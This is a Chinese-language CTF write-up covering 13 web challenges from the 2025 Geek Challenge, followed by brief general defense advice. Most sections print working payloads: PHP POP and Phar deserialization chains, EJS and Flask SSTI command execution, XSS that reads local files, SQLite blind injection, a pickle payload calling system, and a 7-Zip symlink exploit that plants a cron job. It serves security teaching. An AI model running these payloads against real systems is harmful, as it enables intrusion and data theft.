2025极客大挑战Web题目详解与教学文档<\/h1>

1. popself - PHP反序列化漏洞<\/h2>

1.1 题目考点<\/h3>
双MD5弱类型比较绕过<\/li>
PHP反序列化魔术方法链构造<\/li>
回调函数利用<\/li> <\/ul>
1.2 漏洞分析<\/h3>

1.2.1 MD5比较绕过<\/h4>
if<\/span> (md5<\/span>(md5<\/span>($this-><\/span>KiraKiraAyu<\/span>)) ===<\/span> md5<\/span>($this-><\/span>K4per<\/span>)) {
<\/span><\/span>    die<\/span>("boys和而不同<br>"<\/span>);
<\/span><\/span>}
<\/span><\/span>if<\/span> (md5<\/span>(md5<\/span>($this-><\/span>KiraKiraAyu<\/span>)) ==<\/span> md5<\/span>($this-><\/span>K4per<\/span>)) {
<\/span><\/span>    echo<\/span> "BOY♂ sign GEEK<br>"<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>关键点<\/strong>：使用0e开头的MD5值进行弱类型比较绕过。需要找到两个不同的字符串，使得双MD5后都以0e开头且后面全是数字。<\/p>
1.2.2 爆破脚本<\/h4>
import<\/span> multiprocessing
<\/span><\/span>import<\/span> hashlib
<\/span><\/span>import<\/span> random
<\/span><\/span>import<\/span> string
<\/span><\/span>import<\/span> os
<\/span><\/span>import<\/span> sys
<\/span><\/span>
<\/span><\/span>CHARS =<\/span> string.<\/span>ascii_letters +<\/span> string.<\/span>digits
<\/span><\/span>
<\/span><\/span>def<\/span> crack_double_md5<\/span>(stop_event):
<\/span><\/span>    random.<\/span>seed(os.<\/span>getpid())
<\/span><\/span>    while<\/span> not<\/span> stop_event.<\/span>is_set():
<\/span><\/span>        str_len =<\/span> random.<\/span>randint(4<\/span>, 8<\/span>)
<\/span><\/span>        s =<\/span> ''<\/span>.<\/span>join(random.<\/span>choice(CHARS) for<\/span> _ in<\/span> range(str_len))
<\/span><\/span>        m1 =<\/span> hashlib.<\/span>md5(s.<\/span>encode('utf-8'<\/span>)).<\/span>hexdigest()
<\/span><\/span>        m2 =<\/span> hashlib.<\/span>md5(m1.<\/span>encode('utf-8'<\/span>)).<\/span>hexdigest()
<\/span><\/span>        
<\/span><\/span>        if<\/span> m2.<\/span>startswith('0e'<\/span>) and<\/span> m2[2<\/span>:].<\/span>isdigit():
<\/span><\/span>            print(f<\/span>"爆破成功: <\/span>{<\/span>s}<\/span> -> <\/span>{<\/span>m2}<\/span>"<\/span>)
<\/span><\/span>            stop_event.<\/span>set()
<\/span><\/span><\/code><\/pre>1.3 反序列化链构造<\/h3>
__destruct<\/span>() -><\/span> __set<\/span>() -><\/span> __call<\/span>() -><\/span> __toString<\/span>() -><\/span> __invoke<\/span>()
<\/span><\/span><\/code><\/pre>完整利用链<\/strong>：<\/p>
<?<\/span>php<\/span>
<\/span><\/span>class<\/span> All_in_one<\/span> {
<\/span><\/span>    public<\/span> $KiraKiraAyu =<\/span> "jdk45GyM"<\/span>;
<\/span><\/span>    public<\/span> $K4per =<\/span> "s878926199a"<\/span>;
<\/span><\/span>    public<\/span> $QYQS;
<\/span><\/span>    
<\/span><\/span>    public<\/span> function<\/span> __construct() {
<\/span><\/span>        $this-><\/span>QYQS<\/span> =<\/span> new<\/span> All_in_one<\/span>();
<\/span><\/span>        $this-><\/span>QYQS<\/span>-><\/span>Fox<\/span> =<\/span> ['summer'<\/span>, 'find_myself'<\/span>];
<\/span><\/span>        $this-><\/span>QYQS<\/span>-><\/span>komiko<\/span> =<\/span> new<\/span> All_in_one<\/span>();
<\/span><\/span>        $this-><\/span>QYQS<\/span>-><\/span>L<\/span> =<\/span> "9e9"<\/span>;
<\/span><\/span>        $this-><\/span>QYQS<\/span>-><\/span>sleep3r<\/span> =<\/span> new<\/span> All_in_one<\/span>();
<\/span><\/span>        $this-><\/span>QYQS<\/span>-><\/span>sleep3r<\/span>-><\/span>_4ak5ra<\/span> =<\/span> new<\/span> All_in_one<\/span>();
<\/span><\/span>        $this-><\/span>QYQS<\/span>-><\/span>sleep3r<\/span>-><\/span>_4ak5ra<\/span>-><\/span>Samsāra<\/span> =<\/span> "system"<\/span>;
<\/span><\/span>        $this-><\/span>QYQS<\/span>-><\/span>sleep3r<\/span>-><\/span>_4ak5ra<\/span>-><\/span>ivory<\/span> =<\/span> "env"<\/span>;
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. Expression - EJS模板注入<\/h2>
2.1 题目考点<\/h3>

JWT密钥爆破<\/li>
EJS模板注入(SSTI)<\/li>
Node.js命令执行<\/li>
<\/ul>
2.2 漏洞利用步骤<\/h3>
2.2.1 JWT密钥爆破<\/h4>
import<\/span> jwt
<\/span><\/span>
<\/span><\/span># 爆破得到的密钥<\/span>
<\/span><\/span>secret =<\/span> 'secret'<\/span>
<\/span><\/span>
<\/span><\/span># 构造恶意payload<\/span>
<\/span><\/span>headers =<\/span> {"alg"<\/span>: "HS256"<\/span>, "typ"<\/span>: "JWT"<\/span>}
<\/span><\/span>token_dict =<\/span> {
<\/span><\/span>    "email"<\/span>: "2633292377@qq.com"<\/span>,
<\/span><\/span>    "username"<\/span>: "<%= global.process.mainModule.require('child_process').execSync('cat \/flag').toString() %>"<\/span>,
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>jwt_token =<\/span> jwt.<\/span>encode(token_dict, secret, algorithm=<\/span>'HS256'<\/span>, headers=<\/span>headers)
<\/span><\/span><\/code><\/pre>2.2.2 EJS SSTI检测Payload<\/h4>
<%= 7*7 %>     \/\/ EJS模板
#{7*7}         \/\/ Pug模板  
{{7*7}}        \/\/ Handlebars模板
<\/code><\/pre>
2.3 完整利用代码<\/h3>
\/\/ 服务端漏洞代码
<\/span><\/span><\/span><\/span>try<\/span> {
<\/span><\/span>    renderedUsername<\/span> =<\/span> ejs<\/span>.render<\/span>(String(currentUser<\/span>.username<\/span>), { 
<\/span><\/span>        user<\/span>:<\/span> currentUser<\/span>, 
<\/span><\/span>        process<\/span> 
<\/span><\/span>    });
<\/span><\/span>} catch<\/span> (e<\/span>) {
<\/span><\/span>    renderedUsername<\/span> =<\/span> currentUser<\/span>.username<\/span>;
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>3. Vibe SEO - 文件描述符读取<\/h2>
3.1 题目考点<\/h3>

文件描述符(FD)利用<\/li>
PHP文件读取限制绕过<\/li>
<\/ul>
3.2 漏洞原理<\/h3>
$flag =<\/span> fopen<\/span>('\/my_secret.txt'<\/span>, 'r'<\/span>);
<\/span><\/span>if<\/span> (strlen<\/span>($_GET['filename'<\/span>]) <<\/span> 11<\/span>) {
<\/span><\/span>    readfile<\/span>($_GET['filename'<\/span>]);
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>关键点<\/strong>：文件打开后未关闭，可以通过文件描述符读取：<\/p>

\/proc\/self\/fd\/3<\/code>（新打开的文件从3开始）<\/li>
\/dev\/fd\/3<\/code><\/li>
<\/ul>
3.3 利用方式<\/h3>
filename=\/proc\/self\/fd\/3
<\/code><\/pre>
4. Xross系列 - XSS漏洞<\/h2>
4.1 Xross The Finish Line<\/h3>
考点<\/strong>：WAF绕过的基础XSS<\/p>

<\/span><\/span><\/code><\/pre>4.2 Xross The Doom<\/h3>
考点<\/strong>：DOM XSS + DOMPurify配置缺陷<\/p>
4.2.1 漏洞原理<\/h4>
\/\/ 利用DOM属性挂载
<\/span><\/span><\/span><\/span><<\/span>a<\/span> id<\/span>=<\/span>"AUTO_SHARE"<\/span>><<\/span>\/a><\/span>
<\/span><\/span><<\/span>a<\/span> id<\/span>=<\/span>"CONFIG_COOKIE_DEBUG"<\/span>><<\/span>\/a><\/span>
<\/span><\/span><<\/span>form<\/span> id<\/span>=<\/span>"CONFIG_PATH"<\/span> action<\/span>=<\/span>"..\/..\/log"<\/span>><<\/span>\/form><\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 触发路径穿越
<\/span><\/span><\/span><\/span>const<\/span> target<\/span> =<\/span> buildTarget<\/span>('\/analytics'<\/span>, path<\/span>); \/\/ path可控
<\/span><\/span><\/span><\/code><\/pre>4.2.2 完整利用<\/h4>
<a<\/span> id<\/span>=<\/span>"AUTO_SHARE"<\/span>><\/a<\/span>>
<\/span><\/span><a<\/span> id<\/span>=<\/span>"CONFIG_COOKIE_DEBUG"<\/span>><\/a<\/span>>
<\/span><\/span><form<\/span> id<\/span>=<\/span>"CONFIG_PATH"<\/span> action<\/span>=<\/span>"..\/..\/log"<\/span>><\/form<\/span>>
<\/span><\/span><\/code><\/pre>5. PDF Viewer - XSS文件读取<\/h2>
5.1 考点<\/h3>

XSS读取本地文件<\/li>
浏览器安全限制绕过<\/li>
<\/ul>
5.2 利用代码<\/h3>
<script<\/span>>
<\/span><\/span>var<\/span> x<\/span> =<\/span> new<\/span> XMLHttpRequest<\/span>();
<\/span><\/span>x<\/span>.open<\/span>("GET"<\/span>, "file:\/\/\/proc\/1\/environ"<\/span>, false<\/span>);
<\/span><\/span>x<\/span>.send<\/span>();
<\/span><\/span>document.write<\/span>(x<\/span>.responseText<\/span>);
<\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>6. ez_read - Flask SSTI<\/h2>
6.1 考点<\/h3>

Flask模板注入<\/li>
WAF绕过<\/li>
栈帧逃逸<\/li>
<\/ul>
6.2 利用脚本<\/h3>
from<\/span> fenjing import<\/span> exec_cmd_payload
<\/span><\/span>
<\/span><\/span>def<\/span> waf<\/span>(s: str):
<\/span><\/span>    blacklist =<\/span> ["__class__"<\/span>, "__base__"<\/span>, "__subclasses__"<\/span>, "__globals__"<\/span>, ...<\/span>]
<\/span><\/span>    for<\/span> word in<\/span> blacklist:
<\/span><\/span>        if<\/span> word in<\/span> s:
<\/span><\/span>            return<\/span> False<\/span>
<\/span><\/span>    return<\/span> True<\/span>
<\/span><\/span>
<\/span><\/span>payload, _ =<\/span> exec_cmd_payload(waf, "env"<\/span>)
<\/span><\/span><\/code><\/pre>6.3 自动化利用<\/h3>
import<\/span> requests
<\/span><\/span>
<\/span><\/span>class<\/span> SSTIExploit<\/span>:
<\/span><\/span>    def<\/span> generate_payload<\/span>(self, cmd):
<\/span><\/span>        payload =<\/span> "{{((g.pop['_''_globals__'].__builtins__['__i''mport__']('os')).popen('<\/span>%s<\/span>')).read()}}"<\/span> %<\/span> cmd
<\/span><\/span>        fill =<\/span> (514<\/span> -<\/span> len(payload) -<\/span> 6<\/span>) *<\/span> "1"<\/span>
<\/span><\/span>        return<\/span> payload +<\/span> "{{ <\/span>%s<\/span> }}"<\/span> %<\/span> fill
<\/span><\/span><\/code><\/pre>7. ez-seralize - Phar反序列化<\/h2>
7.1 考点<\/h3>

Phar反序列化<\/li>
文件上传限制绕过<\/li>
<\/ul>
7.2 Phar文件生成<\/h3>
<?<\/span>php<\/span>
<\/span><\/span>$phar =<\/span> new<\/span> Phar<\/span>('exp.phar'<\/span>);
<\/span><\/span>$phar-><\/span>startBuffering<\/span>();
<\/span><\/span>$stub =<\/span> "<?php __HALT_COMPILER(); ?>"<\/span>;
<\/span><\/span>$phar-><\/span>setStub<\/span>($stub);
<\/span><\/span>$phar-><\/span>addFromString<\/span>('test.txt'<\/span>, 'test'<\/span>);
<\/span><\/span>$phar-><\/span>stopBuffering<\/span>();
<\/span><\/span><\/code><\/pre>7.3 触发反序列化<\/h3>
filename=phar:\/\/uploads\/file.phar&serialized=1
<\/code><\/pre>
8. Sequal No Uta - SQLite盲注<\/h2>
8.1 考点<\/h3>

SQLite布尔盲注<\/li>
空格过滤绕过<\/li>
<\/ul>
8.2 盲注脚本<\/h3>
import<\/span> requests
<\/span><\/span>
<\/span><\/span>base_url =<\/span> "http:\/\/target\/check.php"<\/span>
<\/span><\/span>
<\/span><\/span># 使用%09(TAB)绕过空格过滤<\/span>
<\/span><\/span>payloads =<\/span> [
<\/span><\/span>    "admin'<\/span>%09o<\/span>r%091=1--"<\/span>,
<\/span><\/span>    "admin'<\/span>%09a<\/span>nd<\/span>%09le<\/span>ngth((select<\/span>%09s<\/span>ecret<\/span>%09f<\/span>rom<\/span>%09u<\/span>sers))>10--"<\/span>
<\/span><\/span>]
<\/span><\/span><\/code><\/pre>9. eeeeeeZZZZZZZip - Phar文件包含<\/h2>
9.1 考点<\/h3>

Phar文件包含<\/li>
文件上传审计绕过<\/li>
<\/ul>
9.2 利用步骤<\/h3>

上传恶意Phar文件<\/li>
通过include触发<\/li>
<\/ol>
@<\/span>include<\/span>($fullpath);  \/\/ 触发phar反序列化
<\/span><\/span><\/span><\/code><\/pre>10. 百年继承 - 原型链污染<\/h2>
10.1 考点<\/h3>

Python原型链污染<\/li>
属性继承利用<\/li>
<\/ul>
10.2 污染Payload<\/h3>
{
<\/span><\/span>    "__class__"<\/span>: {
<\/span><\/span>        "__base__"<\/span>: {
<\/span><\/span>            "__base__"<\/span>: {
<\/span><\/span>                "execute_method"<\/span>: "lambda executor, target: (1, 1, __import__('os').getenv('FLAG'))"<\/span>
<\/span><\/span>            }
<\/span><\/span>        }
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>11. 西纳普斯的许愿碑 - 栈帧逃逸<\/h2>
11.1 考点<\/h3>

Python栈帧逃逸<\/li>
条件竞争<\/li>
AST过滤绕过<\/li>
<\/ul>
11.2 利用Payload<\/h3>
");<\/span>
<\/span><\/span>filter=<\/span>lambda<\/span> *<\/span>x:[1<\/span>]
<\/span><\/span>len=<\/span>lambda<\/span> x:0<\/span>
<\/span><\/span>try<\/span>:
<\/span><\/span>    raise<\/span> Exception<\/span>
<\/span><\/span>except<\/span> Exception<\/span> as<\/span> e:
<\/span><\/span>    print(e.<\/span>__traceback__.<\/span>tb_frame.<\/span>f_back.<\/span>f_globals['sys'<\/span>].<\/span>modules['os'<\/span>].<\/span>environ)
<\/span><\/span>#<\/span>
<\/span><\/span><\/code><\/pre>11.3 Unicode编码绕过<\/h3>
# 将Payload转换为Unicode编码<\/span>
<\/span><\/span>encoded_payload =<\/span> ""<\/span>
<\/span><\/span>for<\/span> char in<\/span> raw_payload:
<\/span><\/span>    encoded_payload +=<\/span> "\u<\/span>{:04x}<\/span>"<\/span>.<\/span>format(ord(char))
<\/span><\/span><\/code><\/pre>12. AISCREAM - 条件竞争<\/h2>
12.1 考点<\/h3>

Pickle反序列化<\/li>
条件竞争漏洞<\/li>
文件上传时序攻击<\/li>
<\/ul>
12.2 竞争条件利用<\/h3>
import<\/span> threading
<\/span><\/span>import<\/span> requests
<\/span><\/span>
<\/span><\/span>def<\/span> upload_valid<\/span>():
<\/span><\/span>    # 上传合法文件通过审计<\/span>
<\/span><\/span>    pass<\/span>
<\/span><\/span>
<\/span><\/span>def<\/span> upload_exploit<\/span>():
<\/span><\/span>    # 上传恶意文件覆盖<\/span>
<\/span><\/span>    pass<\/span>
<\/span><\/span>
<\/span><\/span>def<\/span> trigger<\/span>():
<\/span><\/span>    # 在审计通过但文件被覆盖时触发<\/span>
<\/span><\/span>    pass<\/span>
<\/span><\/span><\/code><\/pre>12.3 Pickle Payload<\/h3>
# 合法文件<\/span>
<\/span><\/span>b<\/span>"I1<\/span>\n<\/span>."<\/span>
<\/span><\/span>
<\/span><\/span># 恶意文件  <\/span>
<\/span><\/span>b<\/span>"cos<\/span>\n<\/span>system<\/span>\n<\/span>(S'env'<\/span>\n<\/span>tR."<\/span>
<\/span><\/span><\/code><\/pre>13. 77777_time_Task - CVE-2025-55188<\/h2>
13.1 考点<\/h3>

7-Zip路径遍历漏洞(CVE-2025-55188)<\/li>
定时任务注入<\/li>
<\/ul>
13.2 利用脚本<\/h3>
#!\/bin\/bash
<\/span><\/span><\/span><\/span>mkdir -p a\/b
<\/span><\/span>ln -s \/a a\/b\/linker
<\/span><\/span>7z a 2.7z a\/b\/linker -snl
<\/span><\/span>ln -s a\/b\/linker\/..\/..\/etc\/cron.d\/ linker
<\/span><\/span>7z a 2.7z linker -snl
<\/span><\/span><\/code><\/pre>13.3 定时任务注入<\/h3>
echo "* * * * * root mkdir \/app\/uploads\/\`cat \/flag\`"<\/span> > linker\/task
<\/span><\/span><\/code><\/pre>防御建议<\/h2>
通用防御措施<\/h3>

输入验证<\/strong>：对所有用户输入进行严格验证<\/li>
输出编码<\/strong>：对输出到HTML的内容进行编码<\/li>
最小权限<\/strong>：应用程序以最小必要权限运行<\/li>
安全配置<\/strong>：禁用危险函数和特性<\/li>
<\/ol>
语言特定防御<\/h3>

PHP<\/strong>：禁用危险函数，使用参数化查询<\/li>
Node.js<\/strong>：避免使用eval，安全处理用户输入<\/li>
Python<\/strong>：使用安全的反序列化方法，验证输入<\/li>
<\/ul>
漏洞预防<\/h3>

定期安全审计和代码审查<\/li>
使用安全开发框架和库<\/li>
实施安全开发生命周期(SDL)<\/li>
持续安全监控和更新<\/li>
<\/ol>
本教学文档详细分析了2025极客大挑战Web题目的各种漏洞类型和利用技术，涵盖了从基础到高级的Web安全知识点。<\/p>
2025极客大挑战Web题目详解与教学文档<\/h1>

1. popself - PHP反序列化漏洞<\/h2>

1.2 漏洞分析<\/h3>

2. Expression - EJS模板注入<\/h2>

2.2 漏洞利用步骤<\/h3>

3. Vibe SEO - 文件描述符读取<\/h2>

4. Xross系列 - XSS漏洞<\/h2>

4.2 Xross The Doom<\/h3> 考点<\/strong>：DOM XSS + DOMPurify配置缺陷<\/p>

5. PDF Viewer - XSS文件读取<\/h2>

6. ez_read - Flask SSTI<\/h2>

7. ez-seralize - Phar反序列化<\/h2>

8. Sequal No Uta - SQLite盲注<\/h2>

9. eeeeeeZZZZZZZip - Phar文件包含<\/h2>

10. 百年继承 - 原型链污染<\/h2>

11. 西纳普斯的许愿碑 - 栈帧逃逸<\/h2>

12. AISCREAM - 条件竞争<\/h2>

13. 77777_time_Task - CVE-2025-55188<\/h2>

防御建议<\/h2>

4.2 Xross The Doom<\/h3>
考点<\/strong>：DOM XSS + DOMPurify配置缺陷<\/p>
